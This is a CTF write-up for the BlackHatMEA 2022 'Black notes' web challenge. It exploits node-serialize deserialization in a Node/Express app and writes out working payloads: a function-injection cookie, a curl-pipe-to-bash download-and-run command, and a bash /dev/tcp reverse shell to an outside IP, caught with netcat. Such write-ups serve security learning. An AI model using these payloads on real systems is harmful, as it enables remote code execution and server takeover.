Diefunction
  • About
  • Vulnerabilities
    • GHSL-2021-023 / CVE-2021-32819
  • BlachatMEA Finals 2024
  • CTF
    • Technology Control Company
      • Athackcon CTF 2021
        • Trust
        • Config
        • Extend
        • Poison
      • Blackhat MEA 2022
        • CTF Setup on Kali linux
        • Careers
        • SOC Complaints
    • Athackcon
      • POLL
    • Cyber Night 3
      • Client Hell
    • BlackHatMEA Quals 2022
      • Spatify
      • PeehPee
      • Meme generator
      • Black notes
      • Jimmy's blog
    • BlackHatMEA Quals 2023
      • Web - Hardy
      • Web - Authy
      • Reverse engineering - light up the server
    • BlackhatMEA Finals 2024
      • PWN
    • BITSCTF - Reverse Mishap
    • Cybernights 2025
      • REVERSE
      • PWN
    • BYUCTF 2025
      • PWN
Powered by GitBook
On this page
  • Difficulty
  • Points
  • Description
  • Quick Analysis
  • Analyzing the notes endpoint and cookie
  • Unhandeled Exception
  • Exploitation
  • Proof of concept
  • Reverse shell
  • The flag
  • References

Was this helpful?

  1. CTF
  2. BlackHatMEA Quals 2022

Black notes

Difficulty

Medium

Points

250

Description

We created this website for hackers to save thier payloads and notes in a secure way

Quick Analysis

After registration, the endpoint register return notes cookie, which is a base64 eyJub3RlcyI6eyIwIjoiU2FtcGxlIE5vdGUifX0= and redirect to /notes endpoint. The endpoint /notes rendered the registered username and Sample Note.

Analyzing the notes endpoint and cookie

Decode the cookie value of notes eyJub3RlcyI6eyIwIjoiU2FtcGxlIE5vdGUifX0= using Base64 algorithm.

from base64 import b64encode, b64decode

notes_value = 'eyJub3RlcyI6eyIwIjoiU2FtcGxlIE5vdGUifX0='
b64decode(notes_value).decode()
'{"notes":{"0":"Sample Note"}}'

The JSON object contains notes that are parsed and returned in the endpoint /notes.

Unhandeled Exception

What if the JSON object is unparsable.

payload = b'{"notes":{"0":"Sample Note"},}'
b64encode(payload).decode()
'eyJub3RlcyI6eyIwIjoiU2FtcGxlIE5vdGUifSx9'

Change the cookie value of notes then, reload the endpoint /notes.

SyntaxError: Unexpected token O in JSON at position 29
    at JSON.parse (<anonymous>)
    at exports.unserialize (/data/node_modules/node-serialize/lib/serialize.js:62:16)
    at /data/app.js:42:37
    at Layer.handle [as handle_request] (/data/node_modules/express/lib/router/layer.js:95:5)
    at next (/data/node_modules/express/lib/router/route.js:144:13)
    at Route.dispatch (/data/node_modules/express/lib/router/route.js:114:3)
    at Layer.handle [as handle_request] (/data/node_modules/express/lib/router/layer.js:95:5)
    at /data/node_modules/express/lib/router/index.js:284:15
    at Function.process_params (/data/node_modules/express/lib/router/index.js:346:12)
    at next (/data/node_modules/express/lib/router/index.js:280:10)

From the exception, the endpoint /notes uses node-serialize to unserialize the object.

Exploitation

Proof of concept

Since the endpoint /notes render the notes object, craft a function that returns 1; if the application is vulnerable, the endpoint /notes should return 1 on the page. Payload

payload = b'{"notes":{"0":"Sample Note","1":"_$$ND_FUNC$$_function (){return 1;}()"}}'
b64encode(payload).decode()
'eyJub3RlcyI6eyIwIjoiU2FtcGxlIE5vdGUiLCIxIjoiXyQkTkRfRlVOQyQkX2Z1bmN0aW9uICgpe3JldHVybiAxO30oKSJ9fQ=='

Change the cookie value of notes then, reload the endpoint /notes. After reloading the endpoint /notes, the payload executed and returned 1.

Reverse shell

Run an HTTP server on port 80

python3 -m http.server 80

Create index.html with content

#!/bin/bash
/bin/bash -c '/bin/bash -i >& /dev/tcp/188.166.173.195/443 0>&1'

Payload

{"notes":{"0":"Sample Note","1":"_$$ND_FUNC$$_function (){require('child_process').exec('curl 188.166.173.195 | bash', function(error, stdout, stdin){});}()"}}
  • The function executes the command curl 188.166.173.195 | bash via exec function.

  • The command curl 188.166.173.195 | bash requests the index.html content from 188.166.173.195 via curl, then curl pipes the content of index.html to bash.

  • Start a netcat listener on port 443

nc -lnvp 443
payload = b"{\"notes\":{\"0\":\"Sample Note\",\"1\":\"_$$ND_FUNC$$_function (){require('child_process').exec('curl 188.166.173.195 | bash', function(error, stdout, stdin){});}()\"}}"

b64encode(payload).decode()
'eyJub3RlcyI6eyIwIjoiU2FtcGxlIE5vdGUiLCIxIjoiXyQkTkRfRlVOQyQkX2Z1bmN0aW9uICgpe3JlcXVpcmUoJ2NoaWxkX3Byb2Nlc3MnKS5leGVjKCdjdXJsIDE4OC4xNjYuMTczLjE5NSB8IGJhc2gnLCBmdW5jdGlvbihlcnJvciwgc3Rkb3V0LCBzdGRpbil7fSk7fSgpIn19'

Change the cookie value of notes then, reload the endpoint /notes to obtain a reverse shell.

The flag

Execute printenv command on the challenge server to get the flag.

FLAG=BlackHatMEA{551:18:d6c3f76447af44a983af790e399a8f87fb8f4693}

References

  • https://zditect.com/code/javascript/exploiting-nodejs-deserialization-bug-for-remote-code-execution.html

PreviousMeme generatorNextJimmy's blog

Last updated 2 years ago

Was this helpful?

I assumed the application is vulnerable to unsafe deserialization, and this challenge is the same as the ZDITECH example .

[1]